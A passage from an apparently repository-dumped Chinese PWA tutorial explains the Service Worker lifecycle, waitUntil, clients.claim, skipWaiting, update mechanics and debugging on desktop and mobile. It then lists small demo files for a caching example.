    "content": "# Service Worker 工作原理\n\n前面已经介绍了 Service Worker 是一个工作线程的本质，也了解了 Service Worker 可以离线工作，还介绍了 Service Worker 在主线程中是如何被注册的。但是到现在为止还是不知道 Service Worker 具体怎么在实际项目中应用。也不知道如何去开发和维护一个 Service Worker 文件。我们已经知道了 Service Worker 是可以对 Web App 的资源和请求进行离线缓存，那它到底是如何进行离线缓存控制的呢？\n\n在本节，我们会深入的介绍一下 Service Worker 的工作原理，Service Worker 的工作原理主要体现在它的生命周期上，一个 Service Worker 从被注册开始，就会经历自身的一些生命周期的节点，而在这些节点都可以去做一些特定的事情，比如一些复杂的计算、缓存的写入、缓存的读取等操作。通过这些生命周期节点的联合调度，Service Worker 才能完成复杂的资源离线缓存的工作。而开发者只有了解了 Service Worker 的生命周期，才能通过设计相关逻辑，并开发 Service Worker 文件 `sw.js` ，让 Service Worker 去完成 PWA 离线缓存策略。\n\n## 生命周期\n\n先来了解下什么是 Service Worker 的生命周期，每个 Service Worker 都有一个独立于 Web 页面的生命周期，其示意图如下图所示。\n\n![Service Worker 生命周期](./img/service_worker_lifecycle.png)\n\n1. 在主线程成功注册 Service Worker 之后，开始下载并解析执行 Service Worker 文件，执行过程中开始安装 Service Worker，在此过程中会触发 worker 线程的 install 事件。\n\n2. 如果 install 事件回调成功执行（在 install 回调中通常会做一些缓存读写的工作，可能会存在失败的情况），则开始激活 Service Worker，在此过程中会触发 worker 线程的 activate 事件，如果 install 事件回调执行失败，则生命周期进入 Error 终结状态，终止生命周期。\n\n3. 完成激活之后，Service Worker 就能够控制作用域下的页面的资源请求，可以监听 fetch 事件。\n\n4. 如果在激活后 Service Worker 被 unregister 或者有新的 Service Worker 版本更新，则当前 Service Worker 生命周期完结，进入 Terminated 终结状态。\n\nService Worker 生命周期是一个比较复杂的知识点，其中有较多的细节需要深入理解，为了更清楚的进行介绍，接下来新建一个项目 serviceWorkerLifecycleDemo，项目目录结构如下：\n\n```bash\n.\n└── serviceWorkerLifecycleDemo/\n    ├── imgs/\n    │   └── dog.jpg\n    ├── index.html\n    └── sw.js\n```\n\n首先，需要有一个 Service Worker 的注册入口，所以 `index.html` 的代码内容如下所示：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Lifecycle Demo</title>\n  </head>\n  <body>\n    <img src=\"./imgs/dog.jpg\" alt=\"demo image\" />\n    <script>\n      if ('serviceWorker' in navigator) {\n        // 由于 127.0.0.1:8000 是所有测试 Demo 的 host\n        // 为了防止作用域污染，将安装前注销所有已生效的 Service Worker\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              reg.unregister()\n            }\n            navigator.serviceWorker.register('./sw.js')\n          })\n      }\n    </script>\n  </body>\n</html>\n```\n\n> 注意：\n> 由于 Service Worker 一旦注册后就会永久生效，而生效的控制范围是根据作用域来控制的，我们所有的测试 host 都为 `127.0.0.1:8000`，这样会导致新的项目还没注册 Service Worker 却已经被之前注册的 Service Worker 所控制，所以通常在注册新的 Service Worker 的时候，为了**彻底防止作用域污染**的做法就是在注册前将所有现存控制当前页面的 Service Worker 全部注销掉，或者在 Chrome Devtools 中每次都将老的 Service Worker 手动 unregister 掉。\n\n这次在 serviceWorkerLifecycleDemo 项目的 HTML 文件中加入一个 `<img>` 标签来加载一张图片，主要是用来理解 Service Worker 如何在生命周期中进行离线与缓存处理的。\n\n虽然空的 Service Worker 文件也是可以通过注册来新开一个 Service Worker 线程，但是通常 Service Worker 文件中需要编写一些 JavaScript 代码逻辑来完成 Web App 的离线与缓存的策略设计。接下来我们会一步步的详细讲解这些代码该如何编写，首先先给 `sw.js` 写入以下代码，用来理解 Service Worker 的生命周期：\n\n```js\n// sw.js\nconsole.log('service worker 注册成功')\n\nself.addEventListener('install', () => {\n  // 安装回调的逻辑处理\n  console.log('service worker 安装成功')\n})\n\nself.addEventListener('activate', () => {\n  // 激活回调的逻辑处理\n  console.log('service worker 激活成功')\n})\n\nself.addEventListener('fetch', event => {\n  console.log('service worker 抓取请求成功: ' + event.request.url)\n})\n```\n\n这段代码一开始是直接通过 `console.log()` 打印输出一段内容，然后绑定了三个事件，分别是 `install`、`activate`、`fetch` 事件，用来响应 Service Worker 生命周期的事件触发。\n\n接下来用 Chrome 浏览器来测试一下 serviceWorkerLifecycleDemo 这个例子，为了更好的理解测试结果，在打开测试页面 `http://127.0.0.1:8000` 之前需要将所有的浏览器标签关闭（后面会详细解释为什么需要如此操作）。不出意外的话，**第一次**访问 `http://127.0.0.1:8000` 页面的时候 Chrome Devtools Console 控制台的打印结果如下：\n\n```bash\nservice worker 注册成功\nservice worker 安装成功\nservice worker 激活成功\n```\n\n当我们**第二次**刷新页面的时候，这时候控制台的打印结果如下：\n\n```bash\nservice worker 抓取请求成功：http://127.0.0.1:8000/imgs/dog.jpg\n```\n\n从这个执行结果来看，初步能够说明以下几点：\n\n- Service Worker 文件只在首次注册的时候执行了一次。\n- 安装、激活流程也只是在首次执行 Service Worker 文件的时候进行了一次。\n- 首次注册成功的 Service Worker 没能拦截当前页面的请求。\n- 非首次注册的 Service Worker 可以控制当前的页面并能拦截请求。\n\nService Worker 在内部都有一系列的工作流程，这些工作流程决定了开发者可以在 Service Worker 文件中如何进行开发。下图展示的是 Service Worker 工作流程图。\n\n![Service Worker 工作流程图](./img/service_worker_process.png)\n\n实际上 Service Worker 首次注册或者有新版本触发更新的时候，才会重新创建一个 worker 工作线程并解析执行 Service Worker 文件，在这之后并进入 Service Worker 的安装和激活生命周期。\n\n而在首次注册、安装、激活之后，Service Worker 已经拿到了当前页面的控制权了，但为什么首次刷新却没有拦截到网络请求呢？主要是因为在 Service Worker 的注册是一个异步的过程，在激活完成后当前页面的请求都已经发送完成，因为时机太晚，此时是拦截不到任何请求的，只能等待下次访问再进行。\n\n而第二次刷新页面，由于当前站点的 Service Worker 是处于激活状态，所以不会再次新建 worker 工作线程并执行 Service Worker。也就是说激活状态的 Service Worker 在一个站点只会存在一个 worker 工作线程，除非 Service Worker 文件发生了变化（手动 unregister Service Worker 也会注销掉 worker 工作线程），触发了浏览器更新，才会重新开启生命周期。而由于 Service Worker 工作线程的离线特性，只要处于激活状态，在后续的任何访问中，都会通过 fetch 事件监听器拦截当前页面的网络请求，并执行 `fetch` 事件回调。\n\n## waitUntil 机制\n\n如果 Service Worker 安装失败会导致 Service Worker 生命周期终止。由于 Service Worker install 回调是在用户首次访问注册的时候才会触发，所以在项目设计的时候，会将 Web App 一些只有上线才会改变的静态资源会在 install 阶段进行缓存，让用户更快的体验到缓存加速的好处。如果缓存成功了才算是 Service Worker 安装完成，如果这些静态资源缓存失败了，那 Service Worker 安装就会失败，生命周期终止。\n\n什么情况下才算是 Service Worker 安装失败呢？如果在 Service Worker 文件中的 install 回调中写一段错误逻辑会不会导致安装失败呢？接下来修改一下 serviceWorkerLifecycleDemo 的 `sw.js`，代码如下：\n\n```js\n// sw.js\nconsole.log('service worker 注册成功')\n\nself.addEventListener('install', () => {\n  // 一段一定会报错的代码\n  console.log(a.undefined)\n  console.log('service worker 安装成功')\n})\n\nself.addEventListener('activate', () => {\n  // 激活回调的逻辑处理\n  console.log('service worker 激活成功')\n})\n\nself.addEventListener('fetch', event => {\n  console.log('service worker 抓取请求成功: ' + event.request.url)\n})\n```\n\n在 install 事件回调中，插入了一段一定会报错的代码，看看是不是会导致 Service Worker 的安装失败呢？\n\n> 注意：\n> 前面介绍过，由于修改了 sw.js，所以会触发 Service Worker 更新机制，而这次测试是纯粹介绍首次安装失败的情况，为保证实验的纯粹性，需要在 Chrome DevTools 中将存在的 Service Worker 手动 unregister 掉，在后面介绍 Service Worker 更新机制的时候会详细解释其原理。\n\n示例运行结果如下图所示：\n\n![Service Worker install 回调中报错情况](./img/service_worker_error_in_install.png)\n\n从运行结果看，当 install 回调中的逻辑报错了，并不会影响 Service Worker 的生命周期继续向后推进，因为运行结果还是有 `激活成功`，甚至第二次刷新发现还能正常拦截请求。\n\n所以说并不是 intall 回调中出错了就会导致生命周期中断。由于 Service Worker 生命周期异步触发的特性，并不是像同步执行模式，如果报错就会中断执行。Service Worker 事件回调的参数是一个 ExtendableEvent 对象，在 Service Worker 中需要使用 `ExtendableEvent.waitUntil()` 方法来保证生命周期的执行顺序。该方法接收一个 Promise 参数，开发者通常会将安装的回调执行逻辑（如缓存的写入）封装在一个 Promise 里，如果操作报错应该通过 Promise 来 reject 错误，这样 Service Worker 就知道了安装失败，然后 Service Worker 就能中断生命周期。接下来修改 `sw.js` 代码如下所示：\n\n```js\n// sw.js\nconsole.log('service worker 注册成功')\n\nself.addEventListener('install', event => {\n  // 引入 event.waitUntil 方法\n  event.waitUntil(new Promise((resolve, reject) => {\n    // 模拟 promise 返回错误结果的情况\n    reject('安装出错')\n    // resolve('安装成功')\n  }))\n})\n\nself.addEventListener('activate', () => {\n  // 激活回调的逻辑处理\n  console.log('service worker 激活成功')\n})\n\nself.addEventListener('fetch', event => {\n  console.log('service worker 抓取请求成功: ' + event.request.url)\n})\n```\n\n这时候运行刷新页面的时候发现 Service Worker 的生命周期中断，而且没有执行 activate 事件回调。当将 `reject('安装失败')` 改成 `resolve('安装成功')` 的时候，会发现 Service Worker 能够顺利激活。事实上，`ExtendableEvent.waitUntil()` 方法扩展了事件的生命周期。在服务工作线程中，延长事件的寿命能够阻止浏览器在事件中的异步操作完成之前终止 worker 工作线程。\n\n在 install 事件回调被调用时，它把即将被激活的 worker 线程状态延迟为 installing 状态，直到传递的 Promise 被成功地 resolve。这主要用于确保：Service Worker 工作线程在所有依赖的核心 cache 被缓存之前都不会被安装。\n\n不只是 install 事件回调可以调用这个方法，如果在 activate 事件回调被调用时，它把即将被激活的 worker 线程状态延迟为 activating 状态，直到传递的 Promise 被成功地 resolve。这主要用于确保：任何功能事件不会被分派到 ServiceWorkerGlobalScope 对象，直到它升级数据库模式并删除过期的缓存条目。\n\n当 `ExtendableEvent.waitUntil()` 运行时，如果 Promise 是 resolved，任何事情都不会发生；如果 Promise 是 rejected，installing 或者 activating 的状态会被设置为 redundant。\n\n> 注意：\n> 如果在 ExtendableEvent 处理程序之外调用 `waitUntil()`，浏览器会抛出一个InvalidStateError 错误。\n> 如果多个调用将会堆叠，所产生的所有 promise 将被添加到**延长生命周期的 promise** 等待执行完成。\n\n## 终端\n\n在运行 serviceWorkerLifecycleDemo 示例的时候，提到了需要关闭所有浏览器标签再打开测试页面，其中主要的原因是涉及到 Service Worker 的终端（clients）的概念。\n\n最直接的解释是每一个打开 `http://127.0.0.1:8000` 页面的浏览器标签都是一个终端，如下图所示。\n\n![Service Worker 终端](./img/service_worker_clients.png)\n\n在手机端或者 PC 端浏览器，每新打开一个已经激活了 Service Worker 的页面，那 Service Worker 所控制的终端就新增一个，每关闭一个包含已经激活了 Service Worker 页面的时候（不包含手机端浏览器进入后台运行的情况），则 Service Worker 所控制的终端就减少一个，如上图打开了三个浏览器标签，则当前 Service Worker 控制了三个终端，通过 Chrome 浏览器 Devtools 的 `Applications -> ServiceWorker` 标签可以查看如下图所示 Service Worker 控制的三个终端。\n\n![Service Worker 终端列表](./img/service_worker_clients_list.png)\n\n当刷新其中一个浏览器标签的时候，会发现一个奇怪的现象，当前的浏览器标签的控制台打印了一条信息如下所示：\n\n```bash\nservice worker 抓取请求成功: http://127.0.0.1:8000/imgs/dog.jpg\n```\n\n而并没有对其他的两个浏览器标签进行刷新，但是它们的控制台也出现了打印信息：\n\n```bash\nservice worker 抓取请求成功: http://127.0.0.1:8000/\nservice worker 抓取请求成功: http://127.0.0.1:8000/imgs/dog.jpg\n```\n\n这主要是因为，所有的终端共用一个 worker 工作线程，当在 worker 线程中执行 `console.log()` 方法打印内容的时候，会作用到所有的终端，worker 工作线程和终端的关系如下图 4-12 所示。\n\n![Service Worker 工作线程和终端的关系](./img/service_worker_with_client.png)\n\n`console.log` 是浏览器提供的一种特殊的 I/O 操作，并不是常规操作。通常开发者不会这样来应用这种终端机制，一般而是借助 postMessage 机制来通过 worker 工作线程控制终端，worker 线程在某个生命周期回调 postMessage 给各个终端，终端预先绑定 onmessage 事件，回调处理 worker 线程发送过来的指令，可以做一些后台统计的相关工作，甚至可以用这种机制在 Service Worker 线程中，集中对所有终端的 UI 进行统一处理。\n\n### clients.claim() 方法\n\n如果使用了 skipWaiting 的方式跳过 waiting 状态，直接激活了 Service Worker，可能会出现其他终端还没有受当前终端激活的 Service Worker 控制的情况，切回其他终端之后，Service Worker 控制页面的效果可能不符合预期，尤其是如果 Service Worker 需要动态拦截第三方请求的时候。\n\n为了保证 Service Worker 激活之后能够马上作用于所有的终端，通常在激活 Service Worker 后，通过在其中调用 `self.clients.claim()` 方法控制未受控制的客户端。`self.clients.claim()` 方法返回一个 Promise，可以直接在 `waitUntil()` 方法中调用，如下代码所示：\n\n```js\nself.addEventListener('activate', event => {\n  event.waitUntil(\n    self.clients.claim()\n      .then(() => {\n        // 返回处理缓存更新的相关事情的 Promise\n      })\n  )\n})\n```\n\n> 注意：\n> 很多开发者默认就在 Service Worker 文件中使用 `self.clients.claim()`。不建议这么绝对，还是要根据具体项目而定，主要看是否有激活 Service Worker 之后马上控制所有终端的需求。\n\n## Service Worker 更新原理\n\n在运行 serviceWorkerLifecycleDemo 的时候，之前提到过，在每次修改 Service Worker 文件的时候，如果需要刷新页面验证效果，都应提前在 Chrome Devtools 中手动 unregister 当前的 Service Worker，主要是因为修改 Service Worker 文件都会触发其更新，而 Service Worker 的更新过程比较复杂，为了区分首次安装、激活和更新触发的安装、激活，保证效果的一致性，所以才有此建议。那接下来重点地讲解一下 Service Worker 的更新原理，看看里面到底有什么门道。\n\n修改 serviceWorkerLifecycleDemo 的 `index.html` 中注册 `sw.js` 部分的逻辑，用于触发 Service Worker 的更新（当然也可以修改 Service Worker 文件的某些内容），如下所示：\n\n```js\n// 触发 Service Worker 的更新\nnavigator.serviceWorker.register('./sw.js?v=20190401235959')\n```\n\n刷新页面之后控制台打印的内容只有 `注册成功`，说明更新 Service Worker 会重新解析执行 Service Worker 的 JavaScript 代码，会触发安装回调，但是没有完成激活。查看 Chrome Devtools 的 Service Worker 面板发现 Service Worker 确实卡在激活状态了，状态为 `waiting to activate`，如下图所示：\n\n![Service Worker 更新 waiting 状态](./img/service_worker_update_waiting.png)\n\n这就是更新 Service Worker 和首次安装 Service Worker 的一个区别所在。下面通过下图了解一下 Service Worker 更新的原理。\n\n![Service Worker 更新原理](./img/service_worker_update_process.png)\n\n当浏览器监测到新的 Service Worker 更新之后，会重新进行注册、安装，当检测到当前的页面被激活态的 Service Worker 控制着的话，会进入 waiting 状态，之后可以有两种选择：\n\n1. 通过 skipWaiting 跳过 waiting 状态\n2. 在所有终端保持 waiting 状态，直到 Service Worker 对**所有**终端失去控制（关闭所有终端的时候）\n\n通过运行 serviceWorkerLifecycleDemo 可以发现，将之前启动的三个终端全部关闭掉，然后再新开一个浏览器标签打开 `http://127.0.0.1:8000` 之后，会发现新的 Service Worker 已经激活成功。\n\n还可以有另外一种方法，就是在 Chrome Devtools 中点击 “**skipWaiting**” 按钮，这样就会发现 Service Worker 直接进入了激活状态（反复测试 Demo，记得修改 Service Worker 内容或 URL 以触发 Service Worker 的更新）。\n\n### skipWaiting\n\nService Worker 一旦更新，需要等所有的终端都关闭之后，再重新打开页面才能激活新的 Service Worker，这个过程太复杂了。通常情况下，开发者希望当 Service Worker 一检测到更新就直接激活新的 Service Worker。如果不想等所有的终端都关闭再打开的话，只能通过 skipWaiting 的方法了，但是总不能让用户自己去浏览器中点击 “skipWaiting” 按钮吧？\n\nService Worker 在全局提供了一个 `skipWaiting()` 方法，`skipWaiting()` 在 waiting 期间调用还是在之前调用并没有什么不同。一般情况下是在 install 事件中调用它，接下来验证一下效果，可以通过如下代码所示的方式修改 `sw.js` 代码。\n\n```js\n// sw.js\nconsole.log('service worker 注册成功')\n\nself.addEventListener('install', event => {\n  // 跳过等待\n  self.skipWaiting()\n  // 引入 event.waitUntil 方法\n  event.waitUntil(new Promise((resolve, reject) => {\n    // 模拟 promise 返回错误结果的情况\n    // reject('安装出错')\n    resolve('安装成功')\n    console.log('service worker 安装成功')\n  }))\n})\n\nself.addEventListener('activate', () => {\n  // 激活回调的逻辑处理\n  console.log('service worker 激活成功')\n})\n\nself.addEventListener('fetch', event => {\n  console.log('service worker 抓取请求成功: ' + event.request.url)\n})\n```\n\n通过调用 `skipWaiting()` 方法，运行 Demo 之后刷新任何一个页面都会发现，新的 Service Worker 被激活了。这种方式也被普遍应用在 Service Worker 的更新策略中，主要是为了让用户能够最快的体验到站点的升级和变化。\n\n> 注意：\n> skipWaiting() 意味着新 Service Worker 可能会控制使用较旧 Service Worker 控制的页面。这意味着页面提取的部分数据将由旧 Service Worker 处理，而新 Service Worker 处理后来提取的数据。如果预期到缓存数据不一致的现象会导致问题，则不要使用 skipWaiting() 跳过 waiting 状态。\n\n### 手动更新\n\n当刷新页面重新执行 register 方法的时候，浏览器检测到 Service Worker 文件更新就会触发 Service Worker 更新，但是如果站点在浏览器后台长时间没有被刷新，则浏览器将自动检查更新，通常是每隔 24 小时检查一次，但是 24 小时也太长了，所以也可以在代码中手动触发更新，通常做法如下代码所示：\n\n```js\nnavigator.serviceWorker.register('/sw.js')\n  .then(reg => {\n    setInterval(() => {\n      reg.update()\n    }, 60 * 60 * 1000)\n  })\n```\n\n如果开发者期望用户可以长时间使用您的网站而不必重新加载，您需要按一定间隔（如每小时）调用 `update()` 方法。\n\n### update on reload\n\nService Worker 生命周期是专为用户构建的，这就给开发工作带来一定的困难。幸运的是，我们可借助 Chrome 的 Devtools 的 “update on reload” 功能，在开发调试 Service Worker 生命周期的时候非常友好。如下图所示。\n\n![Service Worker update on reload 功能](./img/service_worker_update_on_reload.png)\n\n通过 update on reload 功能，开发者可以做到以下几点：\n\n1. 重新提取 Service Worker。\n2. 即使字节完全相同，也将其作为新版本安装，这表示运行 install 事件并更新缓存。\n3. 跳过 waiting 阶段，直接激活新 Service Worker。\n4. 浏览页面，每次浏览时（包括刷新）都将进行更新，无需重新加载两次或关闭标签。\n\n所以在测试 serviceWorkerLifecycleDemo 的时候，不妨试一下 update on reload 功能吧。\n\n## 小结\n\n本节介绍了 Service Worker 的生命周期以及更新机制，了解了 Service Worker 具体的运作方式。虽然目前对 Service Worker 技术点有了全面的了解，但是还是没有涉及到任何离线与缓存相关的东西，为了更加系统深入了解 PWA 离线缓存机制，在下一章中会对 Service Worker 缓存管理进行详细介绍。\n"
  },
  {
    "path": "chapter04/4-service-worker-debug.md",
    "content": "# Service Worker 调试\n\n在开发 Service Worker 文件的过程中，如何调试呢？怎么才能确保线下开发的 Service Worker 文件在经过注册后到线上去运行是符合预期的呢？在这小节中将详细介绍如何调试 Service Worker。\n\nService Worker 作为独立于主线程的独立线程，在调试方面其实和常规的 JavaScript 开发类似，通常开发者关注的点大概有如下几点：\n\n- Service Worker 文件 JavaScript 代码是否有报错。\n- Service Worker 能否顺利安装、激活或者更新。\n- 在不同机型上的兼容性是不是有问题。\n- 不同类型资源和请求的缓存策略的验证。\n\n## debug 环境下的开发跳过等待状态\n\n根据 Service Worker 生命周期的特性，如果浏览器还在使用旧的 Service Worker 版本，即使有 Service Worker 新的版本也不会立即被浏览器激活，只能进行安装并进入等待状态，直到浏览器 Tab 标签被重新关闭打开。\n\n在开发调试 Service Worker 时，肯定希望重新加载后立即激活，通常开发者不希望每次都重新打开当前页面调试，为此可以在 `install` 事件发生时通过 `skipWaiting()` 来跳过 Service Worker 的 waiting 状态。这样每次 Service Worker 安装后就会被立即激活，通常在 `sw.js` 中实现如下代码所示：\n\n```js\nself.addEventListener('install', () => {\n  if (ENV === 'development') {\n    self.skipWaiting()\n  }\n})\n```\n\n## 借助 Chrome Devtool 进行调试\n\n使用 Chrome 浏览器，可以通过进入控制台 `Application -> Service Workers` 面板查看和调试。其效果如下图所示：\n\n![Chrome Devtools Service Worker 调试面板](./img/chrome_debug.png)\n\n如果 Service Worker 线程已安装到当前打开的页面上，接下来会看到它将列示在此窗格中。例如：在上图中，展示的是在 `https://lavas-project.github.io/lavas-demo/news-v2/#/` 的作用域内安装了一个 Service Worker 线程。\n\n为了更熟练的运用 Chrome Devtools 调试 Service Worker，首先需要熟悉以下这些选项：\n\n- **Offline**： 复选框可以将 DevTools 切换至离线模式。它等同于 Network 窗格中的离线模式。\n\n- **Update on reload**：复选框可以强制 Service Worker 线程在每次页面加载时更新。\n\n- **Bypass for network**：复选框可以绕过 Service Worker 线程并强制浏览器转至网络寻找请求的资源。\n\n- **Update**：按钮可以对指定的 Service Worker 线程执行一次性更新。\n\n- **Push**：按钮可以在没有负载的情况下模拟推送通知。\n\n- **Sync**：按钮可以模拟后台同步事件。\n\n- **Unregister**：按钮可以注销指定的 Service Worker 线程。\n\n- **Source**：告诉当前正在运行的 Service Worker 线程的安装时间，链接是 Service Worker 线程源文件的名称。点击链接会将定向并跳转至 Service Worker 线程来源。\n\n- **Status**：告诉 Service Worker 线程的状态。此行上的数字指示 Service Worker 线程已被更新的次数。如果启用 `update on reload` 复选框，接下来会注意到每次页面加载时此数字都会增大。在状态旁边会看到 `start` 按钮（如果 Service Worker 线程已停止）或 `stop` 按钮（如果 Service Worker 线程正在运行）。Service Worker 线程设计为可由浏览器随时停止和启动。 使用 stop 按钮明确停止 Service Worker 线程可以模拟这一点。停止 Service Worker 线程是测试 Service Worker 线程再次重新启动时的代码行为方式的绝佳方法。它通常可以揭示由于对持续全局状态的不完善假设而引发的错误。\n\n- **Clients**：告诉 Service Worker 线程作用域的原点。如果已启用 `show all` 复选框，`focus` 按钮将非常实用。 在此复选框启用时，系统会列出所有注册的 Service Worker 线程。如果这时候点击正在不同标签中运行的 Service Worker 线程旁的 `focus` 按钮，Chrome 会聚焦到该标签。\n\n如果 Service Worker 文件在运行过程中出现了任何的错误，将显示一个 `Error` 新标签，如下图所示。\n\n![Chrome Devtools 中的 Service Worker 报错信息](./img/chrome_debug_error.png)\n\n当然也可以直接访问 `Chrome://serviceworker-internals` 来打开 serviceWorker 的配置面板，查看所有注册的 Service Worker 情况。\n\n> 注意：\n> 如无必要，不要选中顶部的 `Open DevTools window and pause javaScript execution on Service Worker startup for debugging` 复选框，否则每当刷新页面调试时都会弹出一个开发者窗口来。\n\n在 Firefox 中，可以通过 `Tools -> Web Developer -> Service Workers` 打开调试面板。也可以访问 `about:debugging#workers` 直接进入该面板。\n\n## 查看 Service Worker 缓存内容\n\n通过前面的章节已经了解过，Service Worker 使用 Cache API 进行缓存的读写，同样可以在 Chrome DevTools 上查看缓存的资源列表。\n\nCache Storage 选项卡提供了一个已使用（Service Worker 线程）Cache API 缓存的只读资源列表，如下图所示。\n\n![Chrome Devtools 中展示的缓存列表](./img/sw_cache.png)\n\n如果打开了两个或多个缓存，那在 Application 标签下的 Caches 面板将看到它们会陈列在 Cache Storage 下拉菜单下方，如下图所示。\n\n![Chrome Devtools  中展示多个缓存列表](./img/multiple_caches.png)\n\n当然，Cache Storage 提供清除 Cache 列表的功能，在选择 `Cache Storage` 选项卡后在 Cache Storge 缓存的 key 的 item 上右键点击出现 `delete` ，点击 `delete` 就可以清除该缓存了，如下图所示。\n\n![Chrome Devtools 中清楚缓存内容](./img/clear_caches.png)\n\n也可以选择 `Clear Storage` 选项卡进行清除缓存。\n\n## 网络跟踪\n\n此外经过 Service Worker 的 `fetch` 请求 Chrome 都会在 Chrome DevTools Network 标签页里标注出来，其中：\n\n- 来自 Service Worker 的内容会在 Size 字段中标注为 `from ServiceWorker`\n- Service Worker 发出的请求会在 Name 字段中添加 ⚙  图标。\n\n如下图所示，第一个名为 `300` 的请求是一张 jpeg 图片， 其 URL 为 `https://unsplash.it/200/300`，该请求是由 Service Worker 代理的， 因此被标注为 `from ServiceWorker`。\n\n为了响应页面请求，Service Worker 也发出了名为 `300` 的请求（这是下图中第二个请求），但 Service Worker 把 URL 改成了 `https://unsplash.it/g/200/300`，因此返回给页面的图片是灰色的。\n\n![Service Worker 网络跟踪情况](./img/service_worker_network.png)\n\n## 真机调试\n\n由于 Service Worker 必须要在 HTTPS 环境下才能被注册成功，所以在真机调试的过程中还需要解决 HTTPS 调试问题，当然 `127.0.0.1` 和 `localhost` 是被允许的 host，但是在真机调试上无法指定为到 PC 上的本地服务器，所以真机 debug 必须要求是已经部署好的 https PWA 站点。\n\n### Android inspect 远程调试\n\n对于 Android 设备，可以借助于 Chrome 的 inspect 方法进行调试 PWA，其中有几个事项是需要提前准备的：\n\n- PC 上已安装 Chrome 32 或更高版本。\n- PC 上已安装 USB 驱动程序（如果使用 Windows），确保设备管理器报告正确的 USB 驱动程序。\n- 一根可以将 Android 设备连接至开发计算机的 USB 线。\n- 一台 Android 4.0 或更高版本的 Android 设备。\n\n接下来可以通过以下步骤进行调试：\n\n1. 将 Android 设备通过 USB 线与 PC 连接。\n2. 在 Android 设备上进行一些设置，选择 `设置 > 开发者选项 > 开启 USB 调试`。\n3. 在 PC 上打开 Chrome，使用一个 Google 帐户登录到 Chrome。（远程调试在隐身模式或访客模式下无法运行）。\n4. 在 PC 的 Chrome 浏览器地址栏输入 `chrome://inspect`。\n5. 在 `Remote Target` 下找到对应的 Android 设备。\n6. 点击远程设备链接进入 Chrome Devtools。\n\n这样的话就可以在 Chrome 的 Devtools 直接调试运行在 Android 手机端 Chrome 的 PWA 站点，体验完全和在本地 PC 电脑上 debug 一摸一样。\n\n### iOS 远程真机调试\n\n对于 iOS 设备运行的 PWA，真机 debug 有点麻烦，好在 Apple Safari 也提供了一套远程调试的方案，可以借助于 Web Inspector（web 检查器）机制来完成真机调试。在开始调试之前需要准备以下工具：\n\n- 一台 Mac 电脑。\n- 一个 icloud 账号。\n- 一个 Apple 的移动设备（iPhone）。\n- 用 iCloud 账号登陆 Mac 和 iPhone。\n- 对 iPhone 进行设置：`设置 > Apple ID 用户中心入口 > iCloud > 打开 Safari`。\n- 对 iPhone 进行设置：`设置 > Safari浏览器 > 高级 > 打开 Web Inspector`。\n- 对 Mac 进行设置：` > 系统偏好设置 > iCloud > 勾上 Safari`。\n- 对 Mac 进行设置：`打开 Safari > Safari 菜单 > 偏好设置 > 高级 > 勾选“在菜单栏中显示开发菜单”`（这时候 Safari 的系统菜单栏多了一个 `开发` 标签）。\n\n当完成了准备工作后，下面可以开始调试了，调试步骤如下：\n\n1. 用 USB 线连接 iPhone 和 Mac。\n2. 在 iPhone 上打开 PWA 站点。\n3. 打开 Mac 上 Safari 菜单栏的 `开发` 标签，就可以点击进 `我的 iPhone`。\n4. 接下来会发现 `我的 iPhone` 子菜单里有在 iphone 上打开的 PWA 站点，这时候就可以用 Safari 的 Devtools 进行调试。\n"
  },
  {
    "path": "chapter04/code/applicationCacheDemo/index.html",
    "content": "<!DOCTYPE html>\n<html manifest=\"./manifest.appcache\">\n<!--...-->\n</html>\n"
  },
  {
    "path": "chapter04/code/applicationCacheDemo/manifest.appcache",
    "content": "CACHE MANIFEST\n# version xx.xx.xx\nCACHE:\ncached.png\ncached.js\n\nNETWORK:\nnoCached.html\nnoCached.css\n\nFALLBACK:\n/ 404.html\n"
  },
  {
    "path": "chapter04/code/serviceWorkerCacheDemo/data.json",
    "content": "[\n  {\n    \"name\": \"Tom\",\n    \"age\": 34,\n    \"lang\": \"english\"\n  },\n  {\n    \"name\": \"Lee\",\n    \"age\": 23,\n    \"lang\": \"chinese\"\n  }\n]"
  },
  {
    "path": "chapter04/code/serviceWorkerCacheDemo/index.css",
    "content": "html {\n    background: #000;\n    color: #fff;\n}"
  },
  {
    "path": "chapter04/code/serviceWorkerCacheDemo/index.html",
    "content": "<!DOCTYPE html>\n  <head>\n    <title>Service Worker Cache Demo</title>\n    <link href=\"./index.css\" rel=\"stylesheet\" />\n  </head>\n  <body>\n    <img src=\"./imgs/dog.jpg\" alt=\"demo image\" />\n    <div id=\"demo-list\"></div>\n    <script src=\"./index.js\" type=\"text/javascript\"></script>\n    <script>\n      if ('serviceWorker' in navigator) {\n        // 由于 127.0.0.1:8000 是所有测试 Demo 的 host\n        // 为了防止作用域污染，将安装前注销所有已生效的 Service Worker\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              reg.unregister()\n            }\n            navigator.serviceWorker.register('./sw.js')\n          })\n      }\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "chapter04/code/serviceWorkerCacheDemo/index.js",
    "content": "/**\n * @file index.js\n * @author pwa\n */\n\n/* global fetch, alert */\n\nfetch('./data.json')\n  .then(response => response.json())\n  .then(data => {\n    // 将请求返回的数据打印出来\n    let html = ['<table>']\n    html.push('<tr><th>姓名</th><th>年龄</th><th>母语</th></tr>')\n    data && data.length && data.forEach(item => {\n      html.push('<tr>')\n      html.push(`<td>${item.name}</td>`)\n      html.push(`<td>${item.age}</td>`)\n      html.push(`<td>${item.lang}</td>`)\n      html.push('</tr>')\n    })\n    html.push('</table>')\n    document.getElementById('demo-list').innerHTML = html.join('')\n  })\n\nnavigator.serviceWorker.addEventListener('message', e => {\n  if (e.data === 'sw.update') {\n    alert('站点已更新，请刷新页面')\n    // 如果代码走到了在这里，就知道了，Service Worker 已经更新完成了\n    // 可以做点什么事情让用户体验更好\n  }\n})\n"
  },
  {
    "path": "chapter04/code/serviceWorkerCacheDemo/sw.js",
